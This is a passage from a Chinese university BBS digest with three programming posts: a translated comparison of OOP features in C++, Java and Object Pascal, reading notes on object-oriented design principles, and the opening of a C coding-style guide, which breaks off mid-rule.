符类型则是另一个完全不兼容的类型。 虽然Java虚拟机在运行期“翻译”比特码，但并不表示它放弃了编译期类型检查。相反 ，在Java中类型检查进行的相当彻底。另外一些OOP语言，例如Smalltalk和CLOS，则在 运行期进行类型检查。 混合OOP语言 vs. 纯OOP语言 另一个区别存在于纯的和混合的OOP语言之间。纯OOP语言只允许应用一种程序设计模型 ：OOP。你可以声明类和方法，但不能使用老式的普通函数、过程和全局变量。 在以上三种语言中，只有Java是纯OOP语言（Eiffel和Smalltalk也是），初看上去纯OO P是个很好的主意，然而，你最终还是会使用许多静态方法和静态数据。除了语法更复杂 ，这与使用全局函数和数据没有任何区别。我个人的观点是，纯OOP语言对于OOP的初学 者非常有帮助，因为他将不得不使用（并学习）面向对象程序设计模型。另一方面，C+ +和Object Pascal都是典型的混合语言，他们允许程序员使用传统的C或Pascal程序设计 方法。 要注意的是，Smalltalk大大扩展了纯面向对象的概念。在Smalltalk中，所有预定义数 据类型，例如整型、字符型，甚至整个语言架构（例如循环指令）都是以对象封装的。 这完全是出于对纯理论的兴趣，因为这样极大的降低了程序的执行效率。Java没有做得 如此绝对，它允许使用传统的，非面向对象的数据类型（虽然它提供了对传统类型的类 封装）。 普通对象模型 vs. 对象引用模型 OOP语言之间存在的第三个主要区别在于它们的对象模型。一些比较传统的OOP语言允许 程序员在栈、堆和静态存储区中创建对象。在这些语言中，一个类的变量（实例）对应 于内存中的一个对象。C++就是这样工作的。 之后的OOP语言倾向于使用另一种模型，称为对象引用模型。在这个模型中，每个对象都 动态的创建于堆中，一个类的变量实际上是一个指向内存中的对象的引用或句柄（技术 上类似于指针的某种东西）。Java和Object Pascal都采用了这种引用模型。我们很快就 会看到，采用这种模型你必须记得为对象分配内存。 类、对象和引用 ·特性描述：在介绍了以上内容后，我们进入对OOP语言的讨论。最好的起点是类和对象 。我希望每个人都清楚的明白这两个名词的区别，简言之，一个类是一种数据类型，而 一个对象则是某个类的实例。现在我们来看看如何在基于不同对象模型的OOP语言中使用 对象。 ·C++：在C++中，假设有一个类MyClass，这个类有一个方法MyMethod，我们可以写出如 下代码： MyClass Obj; Obj.MyMethod; 这样就创建了一个名为Obj的MyClass类。通常C++会在栈中为这个对象分配内存空间。现 在就可以像第二行代码那样使用对象了。 ·Java：在Java中，类似的语句只为指向对象的句柄分配内存，而不是为对象本身： MyClass Obj; Obj = new MyClass(); Obj.MyMethod(); 在你使用对象之前，必须使用“new”为对象分配内存。当然，最好在同一条语句中声明 并初始化对象，以避免使用未被初始化的对象句柄： MyClass Obj = new MyClass(); Obj.MyMethod(); ·OP：Object Pascal采用大致相同的方法，但是必须在不同的语句中声明和初始化对象 ： var Obj: MyClass; begin Obj := MyClass.Create; Obj.MyMethod; ·注意：虽然对象引用模型似乎需要程序员写更多的代码，但要知道，在C++中经常需要 使用对象的指针和引用（例如只有使用指针或引用，才能获得多态性能）。而在对象引 用模型中，指针被默认使用，但却被巧妙的隐藏起来。特别是Java中并没有正式的指针 ，而事实上，指针无处不在。只不过程序员不能直接控制这些指针，但也因此他们不会 随机访问内存地址，从而使程序更加安全。 回收 ·特性描述：一旦你创建并使用了一个对象，就需要销毁它，以避免浪费内存资源。 ·C++：在C++中销毁一个储存在栈中的对象是十分容易的。另一方面，要销毁动态创建 的对象就困难多了。有很多解决办法，例如引用计数和智能指针，但是这样增加了复杂 程度。C++程序员的第一印象是使用引用对象模型来解决问题实在是太糟了。 ·Java：对于Java来说，这是小事一桩，因为虚拟机会在后台运行碎片收集程序。这使 得程序员轻松不少。但在另一方面，这也影响了应用程序的执行效率。如果没有编写析 构器，可能会在清除代码执行时导致一个逻辑错误。 ·OP：在Object Pascal中，没有类似的碎片收集机制。但是Delphi组件支持一种新概念 ，属主对象。属主对象将对所有下属组件的销毁负责。这就使对象销毁变得简单明了。 定义新的类 ·特性描述：我们已经了解了如何创建已存在的类的实例（对象），我们新的议题是类 的定义。简单说来，一个类是一个方法的集合，而方法是定义在一些局部数据上的操作 。 ·C++：下面是一个简单类的C++定义： class Date { private: int dd; int mm; int yy; public: void Init(int d, int m, int y); int Day(); int Month(); int Year(); }; 下面是其中一个方法的定义： void Date::Init(int d, int m, int y) { dd = d; mm = m; yy = y; } ·Java：Java的语法与C++语法类似： class Date { int dd = 1; int mm = 1; int yy = 1; publlic void Init(int d, int m, int y) { dd = d; mm = m; yy = y; } public int Day () { return dd; } public int Month () { return mm; } public int Year () { return yy; } } 两者之间最大的不同在于Java的方法代码在声明的同时就定义了（与C++不同，这并不表 示这些函数是内联函数），并且可以同时初始化类的数据成员。事实上，如果你没有初 始化这些数据成员，Java会将所有数据成员初始化为默认值。 ·OP：在Object Pascal的类声明语法更接近C++语法，但是仍有很多区别： type Date = class private dd, mm, yy: Integer; public procedure Init (d, m, y: Integer); function Month: Integer; function Day: Integer; function Year: Integer; end; procedure Date.Init (d, m, y: Integer); begin dd := d; mm := m; yy := y; end; function Date.Day: Integer; begin Result := dd; end; 你可能注意到一些语法上的区别：定义方法使用两个不同的关键字function和procedur e，没有参数的方法不使用圆括号，方法在类定义中声明，之后再作定义（就像C++中经 常遇到的情况一样）。注意，Pascal使用点运算符，而C++使用作用域操作符（::）。 ·注意：访问当前对象。OOP语言的方法与全局函数不同，它包含了一个隐藏参数——一 个指向当前被操作对象的指针或引用。在不同的语言中，这个参数的名字不同，在C++和 Java中是this，在Object Pascal中是self。 构造函数（constructor） ·特性描述：上文所述的类实在太简单了。为了解决对象初始化的问题，我们要为类增 加一个构造函数，这也是改进类所需迈出的第一步。 ·C++：在C++以及Java中，构造函数和类具有相同的名字。如果你没有定义构造函数， 编译器会自动为类添加一个默认构造函数。在这两种语言中，你的类可以具有多个构造 函数，这要感谢“方法重载”。 ·Java：在Java中，虽然构造函数也被称为初始化函数（initializer），但与C++的构 造函数在使用上没有什么区别。需要注意的是，Java虚拟机负责创建对象，而构造函数 只对创建的对象进行初始化（Object Pascal也有类似的情况）。 ·OP：在Object Pascal中，构造函数以一个特殊的关键字——constructor声明。在OP 中没有方法重载（？，没有吗？——译者），不过因为构造函数（在Delphi的书中通常 成为构造器——译者）的名字可以任意指定，所以你可以提供几个名字不同的构造函数 。OP中每个类都有默认的构造函数“Create”，除非你用名字相同而参数不同的构造函 数将其覆盖。这个构造函数继承自一个通用基类，下面我们会提到。 析构函数和finalize() ·特性描述：析构函数扮演了构造函数反面的角色，通常在对象销毁时被调用。如果说 大多数类都需要构造函数，那么只有很少的类需要析构函数。一个析构函数的基本功能 就是释放构造函数（以及对象生存期中的其它方法）分配的资源。这些资源包括内存、 文件、数据库表、Windows句柄，等等。 ·C++：C++的析构函数在对象超出作用域时，或者删除动态创建对象时自动被调用。每 个类只能由一个析构函数。 ·OP：Object Pascal的析构函数与C++的析构函数类似。Object Pascal使用标准虚拟析 构函数，称为“Destroy”。析构函数通过标准“Free”方法调用。因为所有对象都是动 态创建的，所以你或者对象的属主必须调用对象的析构函数，以释放资源。理论上你可 以定义多个析构函数，不过只有你手动调用析构函数才有些价值（没有什么是自动完成 的）。 ·Java：Java没有析构函数。没有引用的对象将被碎片回收程序在后台销毁。在销毁对 象之前，碎片回收程序调用finalize()方法。但是，并没有什么保证这个函数真正被调 用（至少在Java 1.0中时是这样）。因此，如果你需要释放资源，你就要定义一个方法 ，并保证它被调用。 类封装（Private和Public） ·特性描述：这三种语言提供了相同的三种访问限定符来提供不同级别的类封装：publ ic，protected和private。public意味着对于任何类都是可见的，protected意味着对于 派生类可见，private意味着没有外部可见性。但是三种语言的实现细节并不相同。 ·C++：在C++中，你可以使用friend关键字跳出类封装。由class关键字声明的类默认可 见性是private，由struct关键字声明的类默认可见性是public。 ·OP：在Object Pascal中，private和protected关键字只对在不同单元中的类有作用。 在同一单元（源代码文件）声明的类彼此之间可以自由访问。Delphi还有两个特殊的访 问限定符：published和automated。published将为类的成员建立RTTI（运行期类型信息 ），automated用于OLE自动化接口（已废弃——译者）。 ·Java：在Java中，一个语法上的区别是每一个类成员都要用访问限定符声明。另一个 实质上的区别是，Java中类成员默认访问限定符是friendly，因此对同一个包（源代码 文件，类似于OP的单元）中的所有类都是可见的。同样，protected关键字表示类成员对 派生类可见，同时也对同一个包中的其它类可见，而private protected才对应于C++中 的protected。 文件、单元和包 ·特性描述：这三种语言的一个重要区别是对源代码文件的组织管理。它们都使用文件 作为储存源代码的标准机构（与其它OOP语言如Smalltalk不同），不同的是C++的编译器 并不真正了解文件，而OP和Java则不同，它们使用模块概念来管理文件，虽然各自的名 字不太一样。 ·C++：在C++中，程序员们一般把类定义放在头文件中，而把方法实现放入独立的代码 文件。通常这两个文件会具有相同的文件名和不同的扩展名。一个编译单元应该包括它 自己的声明文件及其代码所涉及的类及函数的声明文件。但这仅仅是惯例，编译器并不 强迫这样做。链接器将不得不做更多的工作，因为编译器无法预料一个方法是否在某个 模块中被定义。 ·OP：在Object Pascal中，源代码文件被称为单元（unit）。单元被分为接口（inter face）和实现（implementation）两部分。接口部分包含了类的定义（包括方法的声明 ），实现部分则包含了声明于接口部分的方法的定义。在接口中编写执行代码是非法的 。你可以使用uses子句包含其它文件，以便引用其中声明的类、方法等等。下面的代码 包含了一些编译单元的接口： uses Windows, Form, MyFile; ·Java：在Java中，每个源代码文件，或者说编译单元之间是完全独立的。你可以把一 组编译单元作为一个包的一部分。与其它两种语言不同，在声明类的同时要编写方法实 现的代码。当使用import子句包含一个文件时，编译器只读入它的public声明，而不是 所有的代码： import where.myclass; import where.* // all the classes ·注意：关于被称为名字空间的模块。另一个关键性的区别是Java和OP的编译器可以读 入一个已编译文件，并从中提取它的定义，就像你从已编译代码中提取头文件一样。另 一方面，C++语言引用名字空间（namespace）来弥补没有模块结构的不足。在Java和OP 中，事实上，通常以模块的名字为前缀来解决名字之间的冲突。使用名字空间也可以达 到同样的效果，不过它是内建在语言中的。 类/静态方法和数据成员 ·特性描述：通常OOP语言允许某些方法和数据成员与整个类相关，而不是对象个体。一 般的类方法可以通过类的单个对象或类调用。类数据成员是被所有对象共享的数据成员 ，而不是为每个对象单独创立。 ·C++：在C++中，类方法和类数据成员以static关键字声明。类数据成员必须使用一个 特殊的声明来初始化，这是缺少模块结构的不足之一。 ·OP：OP中只有类方法，使用class关键字声明。而定义于同一单元中的私有全局变量可 以发挥类数据成员的作用。 ·Java：Java使用和C++相同的关键字static。静态方法经常被使用（甚至有些过分）， 这是因为在Java中没有全局函数。静态数据成员可以直接在类声明中初始化。 类和继承 ·特性描述：类的继承是OOP的根基之一。它可以用来做一般化表述和特殊化表述。关于 继承的基础思想是通过修改或扩展现存的类型建立新的类型，换句话说，一个派生类具 有基类的所有数据成员和方法，并添加了新的数据成员和方法，还有可能修改某些以存 在的方法。不同的OOP语言用不同的名词描述这种机制（derivation，inheritance，su bclassing）、被继承的类（基类，父类，超类）和继承的类（派生类，子类，次类)。 ·C++：C++使用public、protected和private关键字定义继承的方式，改变继承的方法 和数据成员的访问限定类型。虽然public继承最常被使用，但在C++中默认的是private 继承。C++是这三种语言中唯一允许多重继承的语言，以后我们还会提到。下面是一个例 子： class Dog: public Animal { ... }; ·OP：Object Pascal使用一个特殊的语法表述继承，而不是使用关键字，方法是将基类 名放入括号中，添加到类声明中。OP只支持C++中所谓public的继承。OP类具有一个通用 基类，以后我们会见到。 type Dog = class (Animal) ... end; ·Java：Java使用extends关键字来表述唯一一种继承类型，对应于C++中的public继承 。Java不支持多重继承。Java类同样具有一个通用基类。 class Dog extends Animal { ... } ·注意：关于基类的构造函数和初始化。在C++和Java中，基类的构造函数具有很复杂的 结构。在OP中，初始化基类则是程序员的责任。这个主题比较复杂，所以我不打算进一 步讲述。我会把注意力集中在通用基类、基类访问、多重继承、接口、后期绑定以及其 它相关的内容。 所有类的祖先 ·特性描述：在一些OOP语言中，所有类都直接或间接的派生自某个特定的基类。这个类 （通常被称为Object或其它类似的名字）具有所有类共有的基本功能。事实上，所有类 都继承自这个基类。因为最初在Smalltalk中便是如此设计的，所以大多数OOP语言采用 了这个概念。 ·C++：虽然在C++中没有这个概念，但许多应用程序框架引入了通用基类的概念。MFC是 个很好的例子，它有一个CObject类。事实上，最初这是十分意义的，因为语言不具有模 板特性（以及多重继承特性）。 ·OP：每个类都自动的继承自TObject类。因为OP不支持多重继承，所以所有的类构成了 一个巨大的派生树。TObject类可以处理RTTI，同时具有其它一些能力。 ·Java：如同OP一样，所有的类继承自Object类。这个基类也具有一些有限的功能。 访问基类的方法 ·特性描述：当编写一个类方法或者重载一个基类方法时，你经常需要引用基类的方法 。而如果方法在派生类中重新被定义，那么使用方法的名字将调用新方法。OOP语言使用 不同的技术或关键字解决访问基类方法的问题。 ·C++：在C++中可以使用范围操作符（::）引用一个特定的类。你不仅可以访问基类， 甚至可以访问继承链中更高层的类。 ·OP：Object Pascal使用一个特殊的关键字完成同样的工作：inherited。在关键字后 可以加上需要调用的基类方法的名称，或者（在某些情况下），简单的使用这个关键字 来访问对应的基类方法。 ·Java：Java中使用super关键字完成类似的工作。在Java和OP中，你无法访问更高一级 的基类。看起来这似乎限制了什么，但是这样可以通过添加中间类来扩展继承链。同时 ，如果你不需要基类的功能，你也许可以不从这个基类派生你的新类。 子类兼容性 ·特性描述：并不是所有OOP语言都是强类型的，就像我开始提到的，但是这里我们涉及 的三种语言都是。这意味着不同类的对象之间是不兼容的。只有一个例外，就是派生类 的对象与基类是兼容的（注意：反过来不成立）。 ·C++：在C++中，子类兼容性规则只适用于指针和引用，对普通对象则不适用。事实上 ，不同的对象在所占用的内存不同，所以你不能将相同的内存分配给不同的对象。 ·OP：子类兼容性适用于所有对象，因为OP采用了对象参考模型。此外，所有对象都与 TObject类型兼容。 ·Java：Java的情况与OP完全相同。 ·注意：多态性。如同下一节将要描述的，子类兼容性对于实现后期绑定和多态性是十 分重要的。 后期绑定（及多态性） ·特性描述：当继承链中不同的类分别重新定义了它们基类的方法，那么如果能够通过 一个兼容这些类的对象（感谢子类兼容性）调用合适的类的方法，将是十分有用的。要 完成这个工作，编译器需要支持后期绑定，它将不产生一个特定的函数调用，而是在运 行期决定了对象的真正类型后，才进行函数调用。 ·C++：在C++中，后期绑定只应用于虚拟方法（在调用速度上会有所减慢）。一个在基 类中定义的虚拟方法将在它被重新定义时保持这种特性（当然方法的声明必须完全匹配 ）。一般情况，非虚拟方法并不允许后期绑定。 ·OP：在Object Pascal中，后期绑定通过关键字virtual或dynamic引入（这两个关键字 的区别仅在于技术实现的不同）。在派生类重新定义方法时，应使用override关键字（ 这样就强迫编译器检查方法声明是否匹配）。这是OP中特有的，它允许在基类做更多的 改动。 ·Java：在Java中，所有的方法都使用后期绑定，除非你使用final关键字。final方法 不能被重新定义，在调用速度上更快。在Java中正确的方法名称对于多态性的实现是非 常重要的。Java中默认后期绑定和C++中默认前期绑定这一事实表明了这两种语言不同的 针对性：C++有时会牺牲OOP模型以获取性能的提升。 ·注意：构造函数和析构函数的后期绑定。与其它两种语言相反，Object Pascal允许定 义虚拟构造函数。而这三种语言都支持虚拟析构函数。 抽象方法和抽象类 ·特性描述：当建立一个复杂的继承链时，为了实现多态性，经常需要为更高级的类引 入一些方法，虽然这些方法未必是为这个类抽象概念而定义的。除了使用空方法定义， 许多OOP语言实现了一种特殊的机制：定义抽象方法。所谓抽象方法就是没有实现的方法 。具有一个或多个抽象方法的类称为抽象类。 ·C++：在C++中，抽象方法被称为纯虚函数，通过在方法定义后添加所谓虚定义符（=0 ）可以获得一个抽象方法。抽象类就是具有（或继承了）一个或多个抽象方法的类。不 能创建抽象类对象。 ·OP：Object Pascal使用abstract关键字声明抽象方法。同样，抽象类就是具有或继承 了抽象方法的类，但是你可以创建抽象类的实例（虽然编译器会产生一个警告信息）。 这就隐含了调用抽象方法的危险，在运行期，这样会产生一个运行期错误，并会终止程 序的运行。 ·Java：在Java中，抽象方法和抽象类都用abstract关键字声明（事实上Java中的抽象 类必须具有抽象方法，好像有一点多余）。同样，派生类如果没有重新定义所有的抽象 方法，必须使用abstract关键字定义为抽象类。不能创建抽象类的实例。 多重继承和接口 ·特性描述：一些OOP语言允许从多个基类派生新类。另一些语言只允许从一个类中派生 新类，但是可以从多个接口（或者纯抽象类，只由纯虚函数构成的类）派生新类。 ·C++：C++是三种语言中唯一支持多重继承的。一些程序员认为这是一件好事，另一些 程序员认为这是一件坏事，我不想过多的讨论这个问题。多重继承产生了很多新概念， 比如说虚基类，虽然功能强大，但并不好掌握。C++没有接口的概念，虽然它与多重继承 的纯抽象类概念接近（接口可以看作多重继承的子集）。 ·Java：Java，以及Object Pascal，都不支持多重继承，但是完全支持接口。接口的方 法支持多态性，并且当需要一个接口对象时，可以通过一个对象实现接口。一个类只能 继承自一个基类，但可以implement（关键字）多个接口。Java的接口与COM模型非常吻 合，虽然没有预先的考虑。举个例子： public interface CanFly { public void Fly(); } public class Bat extends Animal implements CanFly { public void Fly( ) { // the bat flies... } } ·OP：Delphi 3在Object Pascal中引入了类似Java的接口，这些接口非常吻合COM（虽 然技术上经常在非COM程序中使用）。接口构造了一个与类独立的继承链，但是与Java一 样，一个类可以继承自唯一的基类并实现多个接口。将类的方法映射为类实现的接口的 方法是Object Pascal语言中令人迷惑的几个问题中的一个。 RTTI ·特性描述：在强类型OOP语言中，编译器完成所有类型检查的工作，所以很少需要运行 程序保存类型的信息。然而，某些情况下需要某些类型信息。因此，这三种OOP语言都或 多或少的支持运行期类型识别/信息（RTTI）。 ·C++：最初的C++语言不支持RTTI。后来通过dynamic_cast的方式提供了部分的类型信 息。你可以查询一个对象的类型，也可以检查两个对象是否具有相同的类型。 ·OP：Object Pascal以及它的可视开发环境支持也需要大量的RTTI。不仅可以进行类型 检查（使用is和as操作符），类也为它的published成员生成大量的RTTI。事实上这个关 键字负责部分RTTI的生成。属性、流结构（窗体文件以及始于对象观察器的Delphi环境 很大程度上依赖于类的RTTI。TObject类具有ClassName和ClassType方法。ClassType方 法返回一个类类型变量——一个特殊类参考类型的实例（并不是类本身）。 ·Java：和Object Pascal一样，Java中也有一个基类用于跟踪类型信息。Object类的g etClass()方法会返回一个元类（一个用于描述类的类型的对象），你也可以使用getNa me()函数获得一个类名字符串。你还可以使用instanceof操作符。Java 1.0不支持更多 内容的RTTI，但在未来的版本中可能会改变，以适应可视环境和组件的开发（所谓Java Beans）。 ·例子： // C++ Dog* MyDog = dynamic_cast <Dog*> (myAnimal); // Java Dog MyDog = (Dog) myAnimal; // Object Pascal Dog myDog := myAnimal as Dog; 异常处理 ·特性描述：异常处理构想的出发点是简化程序的错误处理代码，提供标准内建机制， 从而使程序更加健壮。异常处理的内容很多，这里我只是简述一些关键的要素和区别。 ·C++：C++使用throw关键字来产生一个异常，用try关键字标志被保护的程序块，用ca tch关键字标志异常处理程序代码。异常是一些特殊类的对象，在这三种语言中都构成了 各自的继承链。C++会对所有栈中的对象进行栈展开和销毁（调用析构函数）。 ·OP：Object Pascal使用与C++类似的关键字raise，try和except，并且具有类似的功 能。唯一真正的区别是因为没有对象会被创建于栈中，所以不会发生栈展开。另外，你 可以使用一个finally关键字，标志那些无论是否产生异常都被执行的代码。在Delphi中 ，异常类全部派生自Exception。 ·Java：Java使用和C++相同的关键字，但是其行为却更接近于Object Pascal，包括使 用finally关键字。所有采用对象引用模型的语言基本都是如此。碎片回收程序的存在限 制了finally关键字对类的应用，这些类不仅占用了内存资源。Java认为所有能产生异常 的函数都具有一个正确的异常子句，这个子句告诉Java哪些异常可能会被产生。这个假 设十分严格，并由编译器进行检查。这是一个非常有用的技术，即使这意味着程序员要 做更多的工作。Java中的异常类必须派生自Throwable类。 模板（通用程序设计） ·特性描述：在不指定某些数据类型的情况下编写函数和类的技术，称为通用程序设计 。在函数或类被使用的时候，特定的数据类型会代替函数或类中的未指定部分。所有情 况都在编译器的监管之下，不会有任何问题遗留给运行期来决定。模板类的一个典型的 例子就是容器类。 ·C++：这三种语言中只有C++具有通用类和函数，这些类和函数用Template关键字表示 。C++标准包含了一个巨大的模板类库，称为STL，用于支持一些特殊而有用的程序设计 功能。 ·OP：Object Pascal不支持模板。容器类通常被创建为TObject类对象的容器。 ·Java：Java同样不支持模板。你可以使用对象容器，或采用其它类似的方法。 其它特殊特性 ·特性描述：以下是其它一些我谈及的特性，它们不是基础特性，而且仅为一种语言所 特有。 ·C++：我已经提到了多重继承、虚基类和模板。还有一些另外两种语言所不具有的特性 。C++支持操作符重载，而Java中支持方法重载。C++还允许程序员重载全局函数。你甚 至可以重载类运算符，编写可能会在后台被调用的类型转换方法。C++的对象模型需要拷 贝构造函数和赋值运算符重载，而其它两种语言则不需要，因为它们基于对象引用模型 。 ·Java：只有Java在语言中支持多线程。对象和方法支持同步机制（使用synchronized 关键字）：同一个类的两个synchronized方法不能同时运行。要创建一个新的线程只需 从Thread类中派生新类，并覆盖run()方法。另一个方法是实现Runnable接口（这是建立 多线程applet的常用方法）。我们已经讨论过了碎片回收程序。Java的另一个关键特性 是代码兼容性，但是这并不是严格的与语言相关的。 ·OP：Object Pascal的一些特性包括类引用，便利的方法指针（这是事件模型的基础） ，特别是属性。属性用来隐藏对数据成员的访问，这些访问大多是通过方法进行的。属 性可以直接映射为对数据成员的读写操作，也可以映射为访问函数。即使改变了访问数 据成员的方式，也不需要改变调用的代码（虽然需要重新编译），这使得属性称为了一 个强大的封装特性。Java也将在1.1版中加入这个特性，以支持Java Beans。 标准 ·特性描述：每个语言都需要有人建立一个标准，并检查是否所有的实现都符合这个标 准。 ·C++：ANSI/ISO C++标准委员会已经完成了标准化工作。大多数编译器编写者都努力遵 守这个标准，虽然还有很多的差异存在。理论上的发展已基本停止。但在实现上，新的 Borland C++ Builder虽然并不很成熟，但使很多人认识到C++迫切的需要一个可视开发 环境。同时，广为流行的Visual C++将C++向另一个方向发展起来，例如，大量使用宏。 我的意见是，每个语言都有它的开发模型，在不适于某种语言的环境下强行使用这种语 言是毫无意义的。 ·OP：Object Pascal是一个私有语言，所以没有标准。Borland已经授权给一些OS/2编 译器开发商，但是没有什么效果。在每一个新版本的Delphi中，Borland都扩展了这种语 言。 ·Java：Java也是私有语言，并且拥有一个同名的商标。但是Sun更愿意授权给其它编译 器开发商。Sun自己控制着这种语言，并且好像并不想为其建立一个官方的标准，至少目 前如此。Sun也在极力避免不遵守标准的虚拟机被开发出来。 结论：语言和开发环境 就像我上面提到过的，虽然我尽力做到只比较语言的语法语义特性，但在适当的环境中 考察它们是很重要的。这些语言为不同的目标开发出来，是为了以不同的途径解决不同 的问题的，并在不同的开发环境中被应用。虽然语言和它们的开发环境体现了彼此的一 些特性，但它们是为了满足不同的需要而建立的，就像我们在对比这些特性时看到的那 样。C++的目标是强大的功能和控制能力，代价是复杂性提高；Delphi的目标是在不损失 太多功能的情况下，尽可能简单以及可视化编程和同Windows紧密结合；Java的目标是兼 容性和分布式应用，为此不惜牺牲一些运行速度。 决定这三种语言命运的并不是我这篇文章中所涉及的那些语言特性。Borland的财政状况 ，Microsoft对操作系统的控制，Sun在Internet世界的声望（许多人认为的反微软）， Web浏览器和Win32 API的前景，ActiveX（以及Delphi的ActiveForms）将扮演的角色， 这些都是影响你选择的因素（往往超过了技术因素）。例如那个非常优秀的语言Eiffel ——Object Pascal和Java都从中吸取了很多灵感，没有抢到任何市场份额，虽然它在全 世界的许多大学中都十分流行。 记住，“时髦”这个词已经在计算机世界占有了前所未有的地位。就像用户喜欢使用今 年新版本的软件（这大概就是为什么操作系统都以年份命名），程序员们也喜欢用最新 的程序设计语言，并希望第一个掌握它。我们可以说“Java并不是最新的OOP语言”，在 未来的几年里，一些人会开发出更时髦的语言，而其他人则会蜂拥而上，全然忘记了这 个世界上大多数程序员还在他们的键盘上敲打着传统的Cobol语句！ 作者简介 Marco Cantu撰写过多本涉及以上谈及的两到三种语言的书，如Object Pascal and C++ ，并在美国和其它一些国家发行。他为多家杂志撰写稿件，并在他的公司WinTech Ital ia中进行多项OOP语言和Windows程序设计的培训。他喜欢在国际性会议中发表讲话。你 可以在以下网址找到他：www.macrocantu.com。 -- 消融，消融， 融入你那柔波似的心胸！！！！ ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.22.10.100] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.110.101] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: gill (努力工作&等待新生), 信区: SE 标 题: 面向对象设计基本准则 发信站: 日月光华 (2003年04月21日11:39:32 星期一), 站内信件 是java与模式一书有关设计准则的部分抽取与笔记[作者gill] 面向对象设计的基本概念准则 <读书笔记> 1 系统设计的准则 可扩展性（不僵硬），新的东西可以很容易加进来 灵活性：代码改动的波及范围有限 可插入性：可以容易的用一个模块（类）替换另外一个模块 软件复用 2 面向对象设计的基本原则 1）开-闭原则 通过扩展已有的软件系统，提供新的行为，满足对软件的新需求，使变化中的软 件系统有一定的 适应性和灵活性。 已有的软件模块，特别是重要的抽象层模块不能再修改，这就是的变化中的软件 系统有一定的稳 定性和延续性。 即：对可变性的封装，实现方法：抽象化。 2）里氏替换原则 任何基类出现的地方，子类一定可以出现，保证基类真正的被继承。正方形不应该 是长方形的子类 3）依赖倒转原则：抽象不应该依赖细节，细节应该依赖于抽象。 即：对接口编程，而不是对实现编程。 分析比实现更重要（语录） 4）接口隔离原则： 使用多个专门的接口比使用单一的总接口要好。即：一个类对另外的一个类的依赖 要建立在最小的 接口上。 过于臃肿的接口是对接口的污染。一个接口都代表一个项目角色，将角色区分清楚 是系统的重要设 计工作 5) 合成/聚合复用原则: 合成是一种比聚合更强的组成关系，对其组成部分有全部的支配权，包括内存分配 等。在c语言中 ，合成是值的聚合，聚合是指针的聚合。 合成/聚合达到的复用目的可能比继承更好 新对象存取成分对象的唯一方法是通过成分对象的接口，是黑箱复用 这种复用支持包装，所需依赖更少。 新的类可以把焦点集中在新的任务上。 可以实现动态的复用 6)迪米特法则: 最小知道原则，一个对象应当对其他对象有尽可能少的了解。只和直接的朋友们通 信，不要和陌生 人说话。 什么是朋友：对象本身、以参量形式传入到当前对象方法中的对象、当前对象的实 例变量直接引用 的对象等等 实现：调用转发。通过朋友转发 缺点：大量小的方法。需要适量而行 -- 每一天，都在城市的喧嚣的伴随下，悄然而过。 每一刻，都在自己的思维的运转中，滴滴答答。 当时间悄然而逝的时候，因为我的年轻，却没有看见长者鬓角的白发。 错过那一刻，我忘记了岁月的沧桑。 直到有一天，我看到了聪明的无奈。 从此我学会了感激，懂得了珍惜，幸福于是就在我的身边。 ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.11.6.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]编程规范和范例 发信站: 日月光华 (2003年04月20日22:39:43 星期天), 站内信件 【 以下文字转载自 FDU_C.S. 讨论区 】 【 原文由 violinist 所发表 】 编程规范和范例 目 录 1 排版 6 2 注释 11 3 标识符命名 18 4 可读性 20 5 变量、结构 22 6 函数、过程 28 7 可测性 36 8 程序效率 40 9 质量保证 44 10 代码编辑、编译、审查 50 11 代码测试、维护 52 12 宏 53 1 排版 &sup1; 1-1：程序块要采用缩进风格编写，缩进的空格数为4个。 说明：对于由开发工具自动生成的代码可以有不一致。 &sup1; 1-2：相对独立的程序块之间、变量说明之后必须加空行。 示例：如下例子不符合规范。 if (!valid_ni(ni)) { ... // program code } repssn_ind = ssn_data[index].repssn_index; repssn_ni = ssn_data[index].ni; 应如下书写 if (!valid_ni(ni)) { ... // program code } repssn_ind = ssn_data[index].repssn_index; repssn_ni = ssn_data[index].ni; &sup1; 1-3：较长的语句（>80字符）要分成多行书写，长表达式要在低优先级操作符处划 分新行，操作符放在新行之首，划分出的新行要进行适当的缩进，使排版整齐，语句可读 。 示例： perm_count_msg.head.len = NO7_TO_STAT_PERM_COUNT_LEN + STAT_SIZE_PER_FRAM * sizeof( _UL ); act_task_table[frame_id * STAT_TASK_CHECK_NUMBER + index].occupied = stat_poi[index].occupied; act_task_table[taskno].duration_true_or_false = SYS_get_sccp_statistic_state( stat_item ); report_or_not_flag = ((taskno < MAX_ACT_TASK_NUMBER) && (n7stat_stat_item_valid (stat_item)) && (act_task_table[taskno].result_data != 0)); &sup1; 1-4：循环、判断等语句中若有较长的表达式或语句，则要进行适应的划分，长表 达式要在低优先级操作符处划分新行，操作符放在新行之首。 示例： if ((taskno < max_act_task_number) && (n7stat_stat_item_valid (stat_item))) { ... // program code } for (i = 0, j = 0; (i < BufferKeyword[word_index].word_length) && (j < NewKeyword.word_length); i++, j++) { ... // program code } for (i = 0, j = 0; (i < first_word_length) && (j < second_word_length); i++, j++) { ... // program code } &sup1; 1-5：若函数或过程中的参数较长，则要进行适当的划分。 示例： n7stat_str_compare((BYTE *) & stat_object, (BYTE *) & (act_task_table[taskno].stat_object), sizeof (_STAT_OBJECT)); n7stat_flash_act_duration( stat_item, frame_id *STAT_TASK_CHECK_NUMBER + index, stat_object ); &sup1; 1-6：不允许把多个短语句写在一行中，即一行只写一条语句。 示例：如下例子不符合规范。 rect.length = 0; rect.width = 0; 应如下书写 rect.length = 0; rect.width = 0; &sup1; 1-7：if、for、do、while、case、switch、default等语句自占一行，且if、for 、do、while等语句的执行语句部分无论多少都要加括号{}。 示例：如下例子不符合规范。 if (pUserCR == NULL) return; 应如下书写： if (pUserCR == NULL) { return; } &sup1; 1-8：对齐只使用空格键，不使用TAB键。 说明：以免用不同的编辑器阅读程序时，因TAB键所设置的空格数目不同而造成程序布局不 整齐，不要使用BC作为编辑器合版本，因为BC会自动将8个空格变为一个TAB键，因此使用 BC合入的版本大多会将缩进变乱。 &sup1; 